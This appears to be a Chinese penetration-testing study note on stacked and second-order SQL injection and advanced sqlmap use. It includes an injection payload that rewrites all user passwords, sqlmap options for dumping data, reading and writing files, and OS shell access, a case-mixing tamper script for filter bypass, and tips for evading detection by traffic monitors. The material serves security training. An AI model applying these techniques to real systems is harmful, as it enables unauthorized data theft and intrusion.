当前位置: 首页 > article >正文

第58天:Web攻防-SQL注入二次攻击堆叠执行SQLMAPTamper编写指纹修改分析调试

#知识点

1、Web攻防-SQL注入-堆叠&二次注入

2、Web攻防-SQL注入-SQLMAP进阶使用

一、堆叠注入

堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql语句,例如php中的mysqli_multi_query()函数。与之相对应的mysqli_query()只能执行一条SQL,所以要想目标存在堆叠注入,前提是在目标主机存在类似于mysqli_multi_query()这样的函数,根据数据库类型决定是否支持多条语句执行.

1、目标存在sql注入漏洞

2、目标未对";"号进行过滤->黑盒中,可以通过在注入语句加上“;”来看是不是有堆叠注入

3、目标中间层查询数据库信息时可同时执行多条sql语句

支持堆叠数据库:MYSQL MSSQL Postgresql等

二、二次注入

原理:注册(利用注册信息写入payload到数据库,此时无任何影响)-登录后修改-修改时以当前用户名为条件触发,而当前用户名是注册时写的payload->这个payload与修改时的sql语句拼接,实现二次注入

黑盒思路:分析功能有添加后(注册时能将payload记录到数据库中),对数据操作的地方(功能点->如更改密码,修改相关信息

白盒思路:insert后进入select或update的功能的代码块

注入条件:插入时有转义函数或配置,后续有利用插入的数据

拼接后的update修改密码的sql语句->发现用户名拼接后,变了空,所以修改了所有用户的密码
UPDATE users SET password = '$newPassword' WHERE username = ''or 1=1#'

三、SqlMap使用

#参考:1. sqlmap超详细笔记+思维导图 - bmjoker - 博客园

https://www.cnblogs.com/bmjoker/p/9326258.html

1、数据猜解-库表列数据&字典

测试:常规数据获取

--current-db 获取当前数据库名

--tables -D "xxxx" 获取该数据库所有的表名

--columns -T "xxx" -D "xxx" 获取该数据库某表的所有列名

--dump -C "xx" -C "xx" -T "xxx" 获取列中的数据

2、权限操作-文件&命令&交互式

测试:高权限操作

①引出权限:发现是什么样的数据库用户权限

--is-dba

--privileges

②引出文件:

--file-read  "d:\\1.txt" 读文件,读取目标d盘下的1.txt文件

--file-write 1.txt --file-dest d:\\11.txt

③引出命令:

--os-cmd=whoami

--os-shell

--sql-shell

3、提交方法-POST&HEAD&JSON

测试:Post Cookie Json等

--data "username=xiaodi&password=wedwqdqwd"

--cookie "user_id=1*"

-r 1.txt(推荐使用,将数据包保存在该txt文件中,再用sqlmap来跑,想测哪个参数就可以测哪个参数)

原因:有时会发现有的漏洞用手工可以测出来,用sqlmap却跑不出,原因在于如果直接用sqlmap对url来测试,数据包的格式是不固定的;像app,小程序,非常注重数据包的格式,有时候还会有带用户凭据的数据包,所以sqlmap跑不出;而用这种-r 1.txt的方式,sqlmap在自动化的时候,只会改掉该文件中测试点的值,数据包的其他内容都固定不会变;

4、绕过模块-Tamper脚本-使用&开发

--tamper=base64encode.py 对参数有base64编码的注入

base64encode.py是sqlmap工具自带的绕过脚本,这样的脚本还有很多

①测试:base64+json注入&没有过滤的注入

②测试:base64+json注入&有过滤的注入

--tamper=test.py #test.py是自己写的应对有过滤注入的sqlmap脚本,以下为该脚本的具体内容

结合上图,可以发现仅仅做了一些简单的大小写过滤,所以在test.py绕过脚本中使用了payload = payload.replace('SELECT','sElEct')之类的大小写混用,来绕过;

from lib.core.convert import encodeBase64

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():

pass

def tamper(payload, **kwargs):

if payload:

payload = payload.replace('SELECT','sElEct')

payload = payload.replace('select','sElEct')

payload = payload.replace('OR','Or')

payload = payload.replace('or','Or')

payload = payload.replace('AND','And')

payload = payload.replace('and','And')

payload = payload.replace('XOR','xOr')

payload = payload.replace('xor','xOr')

payload = payload.replace('SLEEP','SleeP')

payload = payload.replace('sleep','SleeP')

payload = payload.replace('ELT','Elt')

return encodeBase64(payload, binary=False) if payload else payload

四、分析拓展-代理&调试&指纹&风险&等级

1、后期分析调试:

-v=(0-6) #详细的等级(0-6)->测试的等级越高,sqlmap测试的就越深入

--proxy "http://127.0.0.1:8080" #代理注入与burpsuite联动->目的在于知道sqlmap是怎样注入的,可以进行调试->抓包分析,可以看是不是有注入点,但是sqlmap跑的不对,搞错了,就可以burpsuite手工调试

2、打乱默认指纹:

绕过流量设备识别sqlmap

--user-agent "" #自定义user-agent

--random-agent #随机user-agent->通bp抓包可以发现sqlmap注入时,数据包的UA头为sqlmap,有明显的sqlmap特征,容易被流量设备监控到,使用该随机user-agent,可以避免这个问题

--time-sec=(2,5) #延迟响应,默认为5->sqlmap跑的时候发包有延时,以免跑的太快,被流量设备监控到异常

3、使用更多的测试:测试Header注入

应用场景:在使用sqlmap注入时,没有发现注入点,可以用以下方法提高注入等级,可以就会发现注入点;

--level=(1-5) #要执行的测试水平等级,默认为1

--risk=(0-3) #测试执行的风险等级,默认为1


http://www.kler.cn/a/594317.html

相关文章:

  • 时间语义与窗口操作:Flink 流式计算的核心逻辑
  • 学习笔记 ASP.NET Core Web API 8.0部署到iis
  • 【软件工程】01_软件工程的概述
  • LCCI ESG 中英联合认证国际分析师适合的岗位
  • Cursor/windsurf+MCP+Blender自动建模还有多远
  • 【秣厉科技】LabVIEW工具包——OpenCV 教程(6):dnn实战之YOLO模型推理
  • react路由5和6新增及区别
  • Ubuntu AX200 iwlwifi-cc-46.3cfab8da.0.tgz无法下载的解决办法
  • SpringMVC——拦截器
  • 如何编译鲁班猫(LubanCat 1N)固件
  • python工具-pipreqs 自动化生成requirements.txt文件
  • 通过AI自动生成springboot的CRUD以及单元测试与压力测试源码(二)
  • 前端面试:[React] useRef 是如何实现的?
  • springboot完成复制一个word内容包括格式到另外一个word
  • 统信UOS中使用Vscode编程
  • Vue2集成LuckExcel实现excel在线编辑及保存
  • FPGA 以太网通信(二)
  • 用curl和python通过网络测试Ollama服务器的配置和状态
  • springCloud的学习
  • 强大的AI网站推荐(第一集)—— Devv AI